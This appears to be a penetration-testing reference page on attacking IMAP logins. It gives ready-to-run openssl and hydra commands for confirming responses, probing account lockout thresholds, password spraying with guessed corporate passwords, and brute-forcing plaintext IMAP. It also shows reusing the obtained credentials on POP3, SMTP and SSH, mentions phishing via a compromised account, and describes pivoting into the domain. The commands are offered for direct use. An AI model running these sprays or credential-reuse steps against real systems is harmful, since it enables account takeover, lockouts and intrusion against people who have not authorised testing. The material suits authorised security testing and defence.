# IMAP Credential Attacks

- **URL:** https://hackindex.io/services/imap/exploitation/imap-credential-attacks
- **Path:** IMAP > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/imap/exploitation.md)
- **Published:** 2026-03-29
- **Updated:** 2026-03-29

IMAP credential attacks target LOGIN and AUTH mechanisms on ports 143 and 993 using a confirmed user list. Build the user list from SMTP VRFY responses, LDAP dumps, or Kerbrute before starting. Password spraying across all accounts with a single password is the default approach to stay under lockout thresholds. IMAP often shares credentials with SMTP, OWA, and Active Directory: a single valid pair unlocks multiple services. Corporate mail servers often use the same account store as the domain. A working IMAP login may equal a valid AD credential. Exchange and Dovecot respond differently to lockout conditions. Test manually against the real server before running any bulk attack.

- Confirm Auth Flow Manually
- Check Lockout Behavior
- Password Spraying with hydra: Port 993
- Brute Force on Port 143: Plaintext
- Validate Credentials Across Other Services

## Confirm Auth Flow Manually

Test a known credential pair first. Confirm the exact success and failure response strings before configuring hydra. The tagged response line starting with `a1` is the one that matters. An `a1 OK` response confirms the credential worked. An `a1 NO [AUTHENTICATIONFAILED]` response is the standard rejection. Pull both strings manually so hydra can reliably separate valid from invalid attempts. If the server returns a different pattern, adjust the grep filter and hydra flags to match the actual output.

```bash
printf "a1 LOGIN $USER $PASSWORD\r\na2 LIST \"\" \"*\"\r\na3 LOGOUT\r\n" | openssl s_client -connect $TARGET_IP:993 -crlf -quiet 2>/dev/null | grep -E 'a1|OK|NO'
# a1 OK Logged in.
```

```bash
printf "a1 LOGIN $USER wrongpassword\r\na2 LOGOUT\r\n" | openssl s_client -connect $TARGET_IP:993 -crlf -quiet 2>/dev/null | grep -E 'a1|OK|NO'
# a1 NO [AUTHENTICATIONFAILED] Authentication failed.
```

## Check Lockout Behavior

Run this before any automated attack. Knowing the lockout threshold prevents locking out every account on the domain. Send more attempts than you expect the threshold allows and watch where the response changes. A `BYE Too many failed authentications` response terminates the session. It counts as a lockout event on most servers. Some servers reset the counter after a delay rather than locking permanently. If you see a `BYE` but reconnect and authenticate successfully shortly after, the server uses a temporary soft lockout. Use a test account you control when possible, to avoid burning real targets.

```bash
for i in $(seq 1 6); do echo -n "Attempt $i: "; printf "a1 LOGIN $USER wrongpass$i\r\na2 LOGOUT\r\n" | openssl s_client -connect $TARGET_IP:993 -crlf -quiet 2>/dev/null | grep -oE 'NO.*|BYE.*' | head -1; sleep 1; done
# Attempt 1: NO [AUTHENTICATIONFAILED] Authentication failed.
# Attempt 2: NO [AUTHENTICATIONFAILED] Authentication failed.
# Attempt 3: NO [AUTHENTICATIONFAILED] Authentication failed.
# Attempt 4: NO [AUTHENTICATIONFAILED] Authentication failed.
# Attempt 5: BYE Too many failed authentications.
```

BYE response after 4 failures means lockout triggers at attempt 5. Reduce hydra thread count to 1 and add significant delays between attempts. Or spray one password per account per hour to stay under the threshold. Exchange 2016 and later default to 10 failed attempts before locking, but domain policy often lowers this. Dovecot has no built-in lockout by default: lockout comes from fail2ban or similar tooling, which may reset after minutes. If lockout is permanent, coordinate with the client before spraying more than one password round. A locked account is visible in event logs and can alert blue team.

## Password Spraying with hydra: Port 993

Spray one password at a time across every account. The goal is to stay under the lockout threshold on any single account while covering the full user list. Use passwords that match what you know about the target. Common choices: seasonal passwords, the company name with a number, or credentials found in earlier dumps. The hydra output line showing `[993][imap] host:` followed by login and password confirms a valid pair. Save results immediately and test against other services before continuing the spray.

```bash
hydra -L /tmp/imap_users.txt -p 'Password123' -s 993 $TARGET_IP imaps -t 5 -W 3
# [993][imap] host: 10.10.10.50   login: john.smith   password: Password123
```

```bash
for password in 'Password123' 'Welcome1' 'Company2024!' 'Summer2026'; do
  echo "[*] Spraying: $password"
  hydra -L /tmp/imap_users.txt -p "$password" -s 993 $TARGET_IP imaps -t 3 -W 5 2>/dev/null | grep 'host:'
done
```

## Brute Force on Port 143: Plaintext

When port 143 accepts plaintext login without STARTTLS, confirmed in [weak authentication testing](https://hackindex.io/services/imap/vulnerability-discovery/imap-weak-authentication), attack the plaintext surface directly. Plaintext IMAP is faster to brute because there is no TLS handshake overhead per connection. Use a targeted wordlist rather than a full rockyou dump. Focus on common corporate passwords, the company name, current year variants, and any passwords found elsewhere in the engagement. Watch hydra output for lockout signs. If attempts suddenly slow or all responses return the same error, the server may be rate limiting. Lower thread count and raise wait time if that happens.

```bash
hydra -L /tmp/imap_users.txt -P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt -s 143 $TARGET_IP imap -t 10
```

## Validate Credentials Across Other Services

IMAP credentials are frequently reused on SMTP submission, OWA, SSH, and AD. Test immediately after obtaining valid credentials. A POP3S `+OK` response followed by a message count confirms the credential is valid for the mail store. An SMTP 235 response confirms the account can send mail, which opens phishing or internal relay options. SSH access gives a shell directly. Run `id` on the remote shell to confirm the privilege level before continuing. Credential reuse is common in environments using single sign-on or centralized LDAP authentication. If IMAP credentials also work against the domain, pivot to LDAP or SMB enumeration before they get rotated.

```bash
# Test on POP3S
echo -e "USER $USER\nPASS $PASSWORD\nSTAT\nQUIT" | openssl s_client -connect $TARGET_IP:995 -crlf -quiet 2>/dev/null | grep -iE '\+OK|-ERR'
# +OK Dovecot ready.
# +OK
# +OK 14 messages
```

```bash
# Test on SMTP submission
swaks --to $USER@$DOMAIN --from $USER@$DOMAIN --server $TARGET_IP --port 587 --tls --auth LOGIN --auth-user $USER --auth-password $PASSWORD 2>&1 | grep -iE '235|535'
# <-  235 2.7.0 Authentication successful
```

```bash
# Test on SSH
sshpass -p "$PASSWORD" ssh $USER@$TARGET_IP 'id' 2>/dev/null
```

## References

- [hydra](https://github.com/vanhauser-thc/thc-hydra) - Network login brute force supporting imap and imaps modes